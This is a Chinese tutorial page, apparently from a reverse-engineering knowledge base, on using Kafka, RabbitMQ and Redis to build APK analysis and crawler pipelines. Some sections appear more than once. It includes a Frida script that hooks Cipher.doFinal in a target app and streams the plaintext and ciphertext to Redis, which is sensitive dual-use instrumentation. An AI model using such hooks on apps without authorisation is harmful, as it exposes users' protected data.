consumer.commit() print(f\"[✓] 分析完成，已提交 offset\") except KeyboardInterrupt: print(\"[*] 消费者关闭中...\") finally: consumer.close() def analyze_sample(sample: dict) -\u003e dict: \"\"\"分析 APK 样本（示例）\"\"\" return { 'package_name': sample['package_name'], 'is_obfuscated': True, 'permissions': ['INTERNET', 'READ_PHONE_STATE'], 'native_libs': ['libprotect.so'], } if __name__ == '__main__': run_analysis_consumer() 多分区并行消费 from kafka import KafkaConsumer, TopicPartition import threading def partition_consumer(partition_id: int): \"\"\"为指定分区创建独立消费者\"\"\" consumer = KafkaConsumer( bootstrap_servers=['localhost:9092'], value_deserializer=lambda m: json.loads(m.decode('utf-8')), enable_auto_commit=True, ) tp = TopicPartition('apk_samples', partition_id) consumer.assign([tp]) print(f\"[*] 消费者已分配 Partition {partition_id}\") for message in consumer: print(f\"[P{partition_id}] {message.value['package_name']}\") # 为每个分区启动一个线程 threads = [] for i in range(3): t = threading.Thread(target=partition_consumer, args=(i,)) t.daemon = True t.start() threads.append(t) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#生产者-1"},{"categories":null,"collections":null,"content":"kafka-python 基础示例 安装依赖 pip install kafka-python 生产者 from kafka import KafkaProducer import json import time def create_producer(): \"\"\"创建 Kafka 生产者\"\"\" return KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), key_serializer=lambda k: k.encode('utf-8') if k else None, # 可靠性配置 acks='all', # 等待所有副本确认 retries=3, # 重试次数 retry_backoff_ms=500, # 重试间隔 # 性能配置 batch_size=16384, # 批量发送大小 linger_ms=10, # 等待凑批时间 compression_type='gzip', ) def send_apk_samples(producer, samples: list): \"\"\"批量发送 APK 样本信息\"\"\" for sample in samples: future = producer.send( topic='apk_samples', key=sample['package_name'], # 同一包名发到同一分区 value=sample, ) # 异步回调 future.add_callback( lambda metadata: print( f\"[✓] 发送成功: partition={metadata.partition}, \" f\"offset={metadata.offset}\" ) ) future.add_errback( lambda exc: print(f\"[!] 发送失败: {exc}\") ) producer.flush() # 确保所有消息发送完成 if __name__ == '__main__': producer = create_producer() samples = [ { 'package_name': 'com.example.app', 'version': '1.0.0', 'sha256': 'abc123...', 'source': 'market_crawler', 'timestamp': time.time(), }, { 'package_name': 'com.target.app', 'version': '2.3.1', 'sha256': 'def456...', 'source': 'manual_upload', 'timestamp': time.time(), }, ] send_apk_samples(producer, samples) producer.close() 消费者 from kafka import KafkaConsumer import json def create_consumer(group_id: str): \"\"\"创建 Kafka 消费者\"\"\" return KafkaConsumer( 'apk_samples', bootstrap_servers=['localhost:9092'], group_id=group_id, value_deserializer=lambda m: json.loads(m.decode('utf-8')), # 偏移量管理 auto_offset_reset='earliest', # 从最早消息开始 enable_auto_commit=False, # 手动提交偏移量 # 性能配置 max_poll_records=100, fetch_max_wait_ms=500, ) def run_analysis_consumer(): \"\"\"运行分析消费者\"\"\" consumer = create_consumer('analysis_group') try: for message in consumer: sample = message.value print( f\"[*] 收到样本: {sample['package_name']} v{sample['version']}\" f\" | partition={message.partition} offset={message.offset}\" ) # 执行分析逻辑 result = analyze_sample(sample) # 手动提交偏移量（确保处理完成后再提交） consumer.commit() print(f\"[✓] 分析完成，已提交 offset\") except KeyboardInterrupt: print(\"[*] 消费者关闭中...\") finally: consumer.close() def analyze_sample(sample: dict) -\u003e dict: \"\"\"分析 APK 样本（示例）\"\"\" return { 'package_name': sample['package_name'], 'is_obfuscated': True, 'permissions': ['INTERNET', 'READ_PHONE_STATE'], 'native_libs': ['libprotect.so'], } if __name__ == '__main__': run_analysis_consumer() 多分区并行消费 from kafka import KafkaConsumer, TopicPartition import threading def partition_consumer(partition_id: int): \"\"\"为指定分区创建独立消费者\"\"\" consumer = KafkaConsumer( bootstrap_servers=['localhost:9092'], value_deserializer=lambda m: json.loads(m.decode('utf-8')), enable_auto_commit=True, ) tp = TopicPartition('apk_samples', partition_id) consumer.assign([tp]) print(f\"[*] 消费者已分配 Partition {partition_id}\") for message in consumer: print(f\"[P{partition_id}] {message.value['package_name']}\") # 为每个分区启动一个线程 threads = [] for i in range(3): t = threading.Thread(target=partition_consumer, args=(i,)) t.daemon = True t.start() threads.append(t) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#消费者-1"},{"categories":null,"collections":null,"content":"kafka-python 基础示例 安装依赖 pip install kafka-python 生产者 from kafka import KafkaProducer import json import time def create_producer(): \"\"\"创建 Kafka 生产者\"\"\" return KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), key_serializer=lambda k: k.encode('utf-8') if k else None, # 可靠性配置 acks='all', # 等待所有副本确认 retries=3, # 重试次数 retry_backoff_ms=500, # 重试间隔 # 性能配置 batch_size=16384, # 批量发送大小 linger_ms=10, # 等待凑批时间 compression_type='gzip', ) def send_apk_samples(producer, samples: list): \"\"\"批量发送 APK 样本信息\"\"\" for sample in samples: future = producer.send( topic='apk_samples', key=sample['package_name'], # 同一包名发到同一分区 value=sample, ) # 异步回调 future.add_callback( lambda metadata: print( f\"[✓] 发送成功: partition={metadata.partition}, \" f\"offset={metadata.offset}\" ) ) future.add_errback( lambda exc: print(f\"[!] 发送失败: {exc}\") ) producer.flush() # 确保所有消息发送完成 if __name__ == '__main__': producer = create_producer() samples = [ { 'package_name': 'com.example.app', 'version': '1.0.0', 'sha256': 'abc123...', 'source': 'market_crawler', 'timestamp': time.time(), }, { 'package_name': 'com.target.app', 'version': '2.3.1', 'sha256': 'def456...', 'source': 'manual_upload', 'timestamp': time.time(), }, ] send_apk_samples(producer, samples) producer.close() 消费者 from kafka import KafkaConsumer import json def create_consumer(group_id: str): \"\"\"创建 Kafka 消费者\"\"\" return KafkaConsumer( 'apk_samples', bootstrap_servers=['localhost:9092'], group_id=group_id, value_deserializer=lambda m: json.loads(m.decode('utf-8')), # 偏移量管理 auto_offset_reset='earliest', # 从最早消息开始 enable_auto_commit=False, # 手动提交偏移量 # 性能配置 max_poll_records=100, fetch_max_wait_ms=500, ) def run_analysis_consumer(): \"\"\"运行分析消费者\"\"\" consumer = create_consumer('analysis_group') try: for message in consumer: sample = message.value print( f\"[*] 收到样本: {sample['package_name']} v{sample['version']}\" f\" | partition={message.partition} offset={message.offset}\" ) # 执行分析逻辑 result = analyze_sample(sample) # 手动提交偏移量（确保处理完成后再提交） consumer.commit() print(f\"[✓] 分析完成，已提交 offset\") except KeyboardInterrupt: print(\"[*] 消费者关闭中...\") finally: consumer.close() def analyze_sample(sample: dict) -\u003e dict: \"\"\"分析 APK 样本（示例）\"\"\" return { 'package_name': sample['package_name'], 'is_obfuscated': True, 'permissions': ['INTERNET', 'READ_PHONE_STATE'], 'native_libs': ['libprotect.so'], } if __name__ == '__main__': run_analysis_consumer() 多分区并行消费 from kafka import KafkaConsumer, TopicPartition import threading def partition_consumer(partition_id: int): \"\"\"为指定分区创建独立消费者\"\"\" consumer = KafkaConsumer( bootstrap_servers=['localhost:9092'], value_deserializer=lambda m: json.loads(m.decode('utf-8')), enable_auto_commit=True, ) tp = TopicPartition('apk_samples', partition_id) consumer.assign([tp]) print(f\"[*] 消费者已分配 Partition {partition_id}\") for message in consumer: print(f\"[P{partition_id}] {message.value['package_name']}\") # 为每个分区启动一个线程 threads = [] for i in range(3): t = threading.Thread(target=partition_consumer, args=(i,)) t.daemon = True t.start() threads.append(t) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#多分区并行消费"},{"categories":null,"collections":null,"content":"Redis 消息方案 Redis 提供了三种实现消息队列的方式，各有特点。 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:5:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#redis-消息方案"},{"categories":null,"collections":null,"content":"方案对比 特性 List（列表队列） Pub/Sub Stream 持久化 支持（RDB/AOF） 不支持 支持 消费者组 不支持 不支持 支持 消息确认 手动实现 无 XACK 消息回溯 不支持 不支持 支持 阻塞读取 BRPOP 订阅阻塞 XREAD BLOCK 适用场景 简单任务队列 实时通知/广播 完整消息队列 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:5:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#方案对比"},{"categories":null,"collections":null,"content":"List 队列（最简单方案） import redis import json import time r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True) # === 生产者 === def push_task(queue_name: str, task: dict): \"\"\"推送任务到 List 队列\"\"\" r.lpush(queue_name, json.dumps(task)) # === 消费者 === def consume_tasks(queue_name: str, timeout: int = 0): \"\"\"阻塞式消费任务\"\"\" while True: # BRPOP: 阻塞式右弹出，超时返回 None result = r.brpop(queue_name, timeout=timeout) if result: _, raw = result task = json.loads(raw) yield task # === 可靠队列（RPOPLPUSH 模式） === def reliable_consume(source: str, processing: str): \"\"\" 从 source 取出消息，同时放入 processing 队列。 处理成功后从 processing 删除；失败则可重新入队。 \"\"\" raw = r.rpoplpush(source, processing) if raw: task = json.loads(raw) try: process_task(task) # 处理成功，从 processing 队列删除 r.lrem(processing, 1, raw) except Exception: # 处理失败，从 processing 移回 source r.rpoplpush(processing, source) # 使用示例 if __name__ == '__main__': push_task('hook_tasks', {'target': 'com.example.app', 'script': 'hook_ssl.js'}) for task in consume_tasks('hook_tasks', timeout=5): print(f\"处理任务: {task}\") ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:5:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#list-队列最简单方案"},{"categories":null,"collections":null,"content":"Pub/Sub（发布/订阅） import redis import json import threading r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True) # === 发布者 === def publish_event(channel: str, event: dict): \"\"\"发布事件\"\"\" r.publish(channel, json.dumps(event)) # === 订阅者 === def subscribe_events(channels: list): \"\"\"订阅事件\"\"\" pubsub = r.pubsub() pubsub.subscribe(*channels) for message in pubsub.listen(): if message['type'] == 'message': event = json.loads(message['data']) yield event # 模式订阅（通配符） def pattern_subscribe(pattern: str): \"\"\"使用通配符订阅\"\"\" pubsub = r.pubsub() pubsub.psubscribe(pattern) for message in pubsub.listen(): if message['type'] == 'pmessage': channel = message['channel'] event = json.loads(message['data']) print(f\"[{channel}] {event}\") # 使用示例 if __name__ == '__main__': # 订阅所有分析相关频道 # pattern_subscribe('analysis.*') # 发布 Hook 结果事件 publish_event('analysis.hook_result', { 'package': 'com.example.app', 'function': 'encrypt', 'args': ['plaintext'], 'return': 'ciphertext_base64...', }) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:5:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#pubsub发布订阅"},{"categories":null,"collections":null,"content":"Stream（推荐方案） Redis 5.0 引入的 Stream 是最完善的消息队列方案，支持消费者组、消息确认、消息回溯。 import redis import json import time r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True) # === 生产者 === def add_to_stream(stream: str, data: dict): \"\"\"向 Stream 添加消息\"\"\" msg_id = r.xadd(stream, data, maxlen=10000) # 限制最大长度 print(f\"[✓] 消息 ID: {msg_id}\") return msg_id # === 创建消费者组 === def create_consumer_group(stream: str, group: str): \"\"\"创建消费者组\"\"\" try: r.xgroup_create(stream, group, id='0', mkstream=True) print(f\"[✓] 消费者组 {group} 已创建\") except redis.exceptions.ResponseError as e: if 'BUSYGROUP' in str(e): print(f\"[*] 消费者组 {group} 已存在\") else: raise # === 消费者 === def stream_consumer(stream: str, group: str, consumer_name: str): \"\"\"消费者组模式消费\"\"\" while True: # 读取新消息 messages = r.xreadgroup( groupname=group, consumername=consumer_name, streams={stream: '\u003e'}, # '\u003e' 表示只读取新消息 count=10, block=5000, # 阻塞 5 秒 ) if not messages: continue for stream_name, stream_messages in messages: for msg_id, fields in stream_messages: print(f\"[{consumer_name}] 处理: {msg_id} -\u003e {fields}\") # 处理完成后确认 r.xack(stream, group, msg_id) # === 处理未确认消息（故障恢复） === def claim_pending_messages(stream: str, group: str, consumer: str, min_idle_time: int = 60000): \"\"\"认领超时未确认的消息\"\"\" pending = r.xpending_range(stream, group, '-', '+', count=10) for entry in pending: msg_id = entry['message_id'] idle = entry['time_since_delivered'] if idle \u003e min_idle_time: claimed = r.xclaim(stream, group, consumer, min_idle_time, [msg_id]) print(f\"[*] 已认领超时消息: {claimed}\") # 使用示例 if __name__ == '__main__': STREAM = 'hook_results' GROUP = 'analysis_group' create_consumer_group(STREAM, GROUP) # 生产者：写入 Hook 抓取结果 add_to_stream(STREAM, { 'package': 'com.example.app', 'method': 'javax.crypto.Cipher.doFinal', 'input': 'aGVsbG8=', 'output': 'ZW5jcnlwdGVk', 'timestamp': str(time.time()), }) # 消费者：处理结果 stream_consumer(STREAM, GROUP, 'worker-1') ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:5:4","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#stream推荐方案"},{"categories":null,"collections":null,"content":"在逆向工程中的应用 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:6:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#在逆向工程中的应用"},{"categories":null,"collections":null,"content":"场景一：批量 APK 自动化分析 ┌──────────────┐ ┌──────────┐ ┌─────────────────┐ ┌──────────┐ │ 应用市场爬虫 │───\u003e│ Kafka │───\u003e│ 分析 Worker 集群 │───\u003e│ Kafka │ │ 定时抓取新版本│ │ (样本队列)│ │ JADX + Frida │ │ (结果队列)│ └──────────────┘ └──────────┘ └─────────────────┘ └──────────┘ │ ↓ ┌──────────┐ │ ES / DB │ │ 结果存储 │ └──────────┘ \"\"\" 完整示例：APK 批量分析管线 - 生产者：爬虫发现新版 APK - 消费者：反编译 + 特征提取 - 结果：写入结果队列供下游消费 \"\"\" from kafka import KafkaProducer, KafkaConsumer import json import subprocess import hashlib # --- 生产者：爬虫端 --- class ApkCrawlerProducer: def __init__(self): self.producer = KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), ) def on_new_apk_found(self, apk_info: dict): \"\"\"发现新 APK 时调用\"\"\" self.producer.send('apk_tasks', value=apk_info) self.producer.flush() # --- 消费者：分析端 --- class AnalysisWorker: def __init__(self, worker_id: str): self.worker_id = worker_id self.consumer = KafkaConsumer( 'apk_tasks', bootstrap_servers=['localhost:9092'], group_id='analysis_workers', value_deserializer=lambda m: json.loads(m.decode('utf-8')), ) self.result_producer = KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), ) def run(self): for message in self.consumer: task = message.value print(f\"[Worker-{self.worker_id}] 分析: {task['package_name']}\") result = self.analyze(task) # 结果写入下游队列 self.result_producer.send('analysis_results', value=result) self.result_producer.flush() self.consumer.commit() def analyze(self, task: dict) -\u003e dict: \"\"\"执行分析（示意）\"\"\" return { 'package_name': task['package_name'], 'worker': self.worker_id, 'obfuscation': 'proguard', 'native_libs': ['libsec.so'], 'suspicious_apis': [ 'Landroid/telephony/TelephonyManager;-\u003egetDeviceId', 'Ljavax/crypto/Cipher;-\u003egetInstance', ], } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:6:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#场景一批量-apk-自动化分析"},{"categories":null,"collections":null,"content":"场景二：Frida Hook 实时数据管线 \"\"\" Frida Hook 结果实时采集与分析 - Frida 脚本 Hook 关键函数 - Hook 结果通过消息队列实时传输 - 后端实时解析和存储 \"\"\" import frida import redis import json import time r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True) # Frida 脚本 HOOK_SCRIPT = \"\"\" Java.perform(function() { var Cipher = Java.use('javax.crypto.Cipher'); Cipher.doFinal.overload('[B').implementation = function(input) { var result = this.doFinal(input); // 将 Hook 结果发送到 Python 端 send({ type: 'crypto', algorithm: this.getAlgorithm(), input: Array.from(input), output: Array.from(result), timestamp: Date.now() }); return result; }; }); \"\"\" def on_message(message, data): \"\"\"Frida 消息回调 -\u003e 写入 Redis Stream\"\"\" if message['type'] == 'send': payload = message['payload'] r.xadd('frida_hooks', { 'type': payload['type'], 'algorithm': payload.get('algorithm', ''), 'input_hex': bytes(payload['input']).hex(), 'output_hex': bytes(payload['output']).hex(), 'timestamp': str(payload['timestamp']), }, maxlen=50000) def start_hook(package_name: str): \"\"\"启动 Frida Hook 并将结果写入消息队列\"\"\" device = frida.get_usb_device() session = device.attach(package_name) script = session.create_script(HOOK_SCRIPT) script.on('message', on_message) script.load() print(f\"[*] Hook 已启动: {package_name}\") print(f\"[*] 结果写入 Redis Stream: frida_hooks\") try: while True: time.sleep(1) except KeyboardInterrupt: session.detach() ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:6:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#场景二frida-hook-实时数据管线"},{"categories":null,"collections":null,"content":"场景三：分布式爬虫 URL 调度 \"\"\" 基于 RabbitMQ 的分布式爬虫调度器 - 优先级队列：高优先级 URL 先处理 - 去重：基于 Redis Set 去重 - 重试：失败的 URL 重新入队 \"\"\" import pika import redis import json import hashlib r = redis.Redis(host='localhost', port=6379, db=0) class UrlScheduler: def __init__(self): connection = pika.BlockingConnection( pika.ConnectionParameters('localhost') ) self.channel = connection.channel() # 声明优先级队列（最大优先级 10） self.channel.queue_declare( queue='url_queue', durable=True, arguments={'x-max-priority': 10}, ) def add_url(self, url: str, priority: int = 5, meta: dict = None): \"\"\"添加 URL 到队列（自动去重）\"\"\" url_hash = hashlib.md5(url.encode()).hexdigest() # Redis Set 去重 if r.sadd('crawled_urls', url_hash) == 0: return False # 已存在 task = {'url': url, 'priority': priority, 'meta': meta or {}} self.channel.basic_publish( exchange='', routing_key='url_queue', body=json.dumps(task), properties=pika.BasicProperties( delivery_mode=2, priority=priority, ), ) return True def get_stats(self) -\u003e dict: \"\"\"获取队列统计\"\"\" q = self.channel.queue_declare(queue='url_queue', passive=True) return { 'pending': q.method.message_count, 'crawled_total': r.scard('crawled_urls'), } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:6:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#场景三分布式爬虫-url-调度"},{"categories":null,"collections":null,"content":"架构模式 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:7:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#架构模式"},{"categories":null,"collections":null,"content":"模式一：生产者-消费者（Point-to-Point） 最基础的模式，一条消息只被一个消费者处理。 Producer ──\u003e [Queue] ──\u003e Consumer 多消费者竞争消费（负载均衡）: Producer ──\u003e [Queue] ──\u003e Consumer A ├──\u003e Consumer B └──\u003e Consumer C 适用场景：任务分发、工作队列。 # RabbitMQ 工作队列 - 自动负载均衡 # 多个 Worker 绑定同一队列，RabbitMQ 自动轮询分发 channel.basic_qos(prefetch_count=1) # 每次只取一条，处理完再取 channel.basic_consume(queue='task_queue', on_message_callback=callback) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:7:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#模式一生产者-消费者point-to-point"},{"categories":null,"collections":null,"content":"模式二：发布-订阅（Publish-Subscribe） 一条消息被所有订阅者接收。 ┌──\u003e [Queue A] ──\u003e Subscriber A (静态分析) Publisher ──\u003e [Exchange: fanout] └──\u003e [Queue B] ──\u003e Subscriber B (动态分析) 一份样本同时进入静态分析和动态分析管线 适用场景：事件广播、多管线并行处理。 # RabbitMQ Fanout 广播 channel.exchange_declare(exchange='sample_events', exchange_type='fanout') # 每个订阅者创建自己的临时队列 result = channel.queue_declare(queue='', exclusive=True) queue_name = result.method.queue channel.queue_bind(exchange='sample_events', queue=queue_name) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:7:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#模式二发布-订阅publish-subscribe"},{"categories":null,"collections":null,"content":"模式三：请求-应答（Request-Reply） 生产者发送请求，等待消费者返回结果。 ┌──────────┐ Request ┌───────┐ Request ┌──────────┐ │ Client │──────────\u003e│ Queue │──────────\u003e│ Worker │ │ │\u003c──────────│ │\u003c──────────│ │ └──────────┘ Reply └───────┘ Reply └──────────┘ (via callback queue) import pika import uuid import json class RpcClient: \"\"\"RPC 客户端：发送分析请求并等待结果\"\"\" def __init__(self): self.connection = pika.BlockingConnection( pika.ConnectionParameters('localhost') ) self.channel = self.connection.channel() # 创建回调队列 result = self.channel.queue_declare(queue='', exclusive=True) self.callback_queue = result.method.queue self.channel.basic_consume( queue=self.callback_queue, on_message_callback=self._on_response, auto_ack=True, ) self.responses = {} def _on_response(self, ch, method, props, body): self.responses[props.correlation_id] = json.loads(body) def analyze(self, sample: dict, timeout: int = 30) -\u003e dict: \"\"\"发送分析请求并等待结果\"\"\" corr_id = str(uuid.uuid4()) self.channel.basic_publish( exchange='', routing_key='rpc_analysis', body=json.dumps(sample), properties=pika.BasicProperties( reply_to=self.callback_queue, correlation_id=corr_id, ), ) # 等待响应 start = time.time() while corr_id not in self.responses: self.connection.process_data_events(time_limit=1) if time.time() - start \u003e timeout: raise TimeoutError(\"分析超时\") return self.responses.pop(corr_id) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:7:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#模式三请求-应答request-reply"},{"categories":null,"collections":null,"content":"部署与监控 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:8:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#部署与监控"},{"categories":null,"collections":null,"content":"Docker Compose 一键部署 # docker-compose.yml version: '3.8' services: # --- RabbitMQ --- rabbitmq: image: rabbitmq:3-management container_name: rabbitmq ports: - \"5672:5672\" # AMQP - \"15672:15672\" # Web 管理界面 environment: RABBITMQ_DEFAULT_USER: admin RABBITMQ_DEFAULT_PASS: admin123 volumes: - rabbitmq_data:/var/lib/rabbitmq restart: unless-stopped # --- Kafka --- zookeeper: image: confluentinc/cp-zookeeper:7.5.0 container_name: zookeeper environment: ZOOKEEPER_CLIENT_PORT: 2181 ZOOKEEPER_TICK_TIME: 2000 kafka: image: confluentinc/cp-kafka:7.5.0 container_name: kafka depends_on: - zookeeper ports: - \"9092:9092\" environment: KAFKA_BROKER_ID: 1 KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://localhost:9092 KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 KAFKA_LOG_RETENTION_HOURS: 168 # 7 天 KAFKA_LOG_SEGMENT_BYTES: 1073741824 volumes: - kafka_data:/var/lib/kafka/data # --- Kafka UI --- kafka-ui: image: provectuslabs/kafka-ui:latest container_name: kafka-ui depends_on: - kafka ports: - \"8080:8080\" environment: KAFKA_CLUSTERS_0_NAME: local KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092 KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181 # --- Redis --- redis: image: redis:7-alpine container_name: redis ports: - \"6379:6379\" command: redis-server --appendonly yes --maxmemory 256mb --maxmemory-policy allkeys-lru volumes: - redis_data:/data volumes: rabbitmq_data: kafka_data: redis_data: # 启动所有服务 docker-compose up -d # 查看服务状态 docker-compose ps # 查看 Kafka 日志 docker-compose logs -f kafka # 停止并清理 docker-compose down -v ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:8:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#docker-compose-一键部署"},{"categories":null,"collections":null,"content":"监控工具 消息队列 监控方案 说明 RabbitMQ 自带 Management UI http://localhost:15672 Kafka Kafka UI / Kafdrop 查看 Topic、消费者组、Lag Redis RedisInsight / redis-cli INFO 命令查看统计 通用 Prometheus + Grafana 采集 Exporter 指标，统一大盘 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:8:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#监控工具"},{"categories":null,"collections":null,"content":"Python 监控脚本示例 \"\"\" 消息队列健康检查脚本 \"\"\" import redis import pika from kafka.admin import KafkaAdminClient def check_redis(host='localhost', port=6379) -\u003e dict: \"\"\"检查 Redis 状态\"\"\" r = redis.Redis(host=host, port=port) info = r.info() return { 'status': 'ok', 'connected_clients': info['connected_clients'], 'used_memory_human': info['used_memory_human'], 'total_commands_processed': info['total_commands_processed'], } def check_rabbitmq(host='localhost', port=5672) -\u003e dict: \"\"\"检查 RabbitMQ 状态\"\"\" try: connection = pika.BlockingConnection( pika.ConnectionParameters(host=host, port=port) ) connection.close() return {'status': 'ok'} except Exception as e: return {'status': 'error', 'message': str(e)} def check_kafka(bootstrap_servers='localhost:9092') -\u003e dict: \"\"\"检查 Kafka 状态\"\"\" try: admin = KafkaAdminClient(bootstrap_servers=bootstrap_servers) topics = admin.list_topics() admin.close() return {'status': 'ok', 'topics': topics} except Exception as e: return {'status': 'error', 'message': str(e)} if __name__ == '__main__': print(\"Redis:\", check_redis()) print(\"RabbitMQ:\", check_rabbitmq()) print(\"Kafka:\", check_kafka()) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:8:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#python-监控脚本示例"},{"categories":null,"collections":null,"content":"选型建议 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:9:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#选型建议"},{"categories":null,"collections":null,"content":"决策矩阵 根据项目需求，从以下维度评估选型： 需求维度 RabbitMQ Kafka Redis Stream 吞吐量 \u003e 50万/秒 – ++ + 延迟 \u003c 1ms ++ - ++ 消息持久化 + ++ + 消息回溯/重放 - ++ + 复杂路由规则 ++ - - 消费者组 + ++ + 运维复杂度低 + - ++ 已有 Redis 基础设施 - - ++ 大数据生态集成 - ++ - ++ 非常适合 | + 适合 | - 不太适合 | -- 不推荐 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:9:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#决策矩阵"},{"categories":null,"collections":null,"content":"按场景推荐 需要消息回溯/大数据量？ ├── 是 → Kafka │ 适合：日志采集、APK 样本流、大规模爬虫数据 └── 否 ├── 需要复杂路由？ │ ├── 是 → RabbitMQ │ │ 适合：多类型任务分发、优先级队列、RPC 模式 │ └── 否 │ ├── 项目已用 Redis？ │ │ ├── 是 → Redis Stream │ │ │ 适合：轻量级任务队列、实时通知、Frida 数据管线 │ │ └── 否 → RabbitMQ（通用性最好） │ └── └── ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:9:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#按场景推荐"},{"categories":null,"collections":null,"content":"逆向工程项目典型选型 项目类型 推荐方案 理由 个人工具/小团队 Redis Stream 无需额外部署，Redis 通常已有 Frida Hook 实时采集 Redis Stream 低延迟，数据量适中 批量 APK 分析平台 Kafka 高吞吐，支持回溯重分析 分布式爬虫系统 RabbitMQ 优先级队列、灵活路由 企业级安全分析平台 Kafka + RabbitMQ Kafka 做数据总线，RabbitMQ 做任务调度 临时脚本/PoC Redis List 最简单，几行代码即可 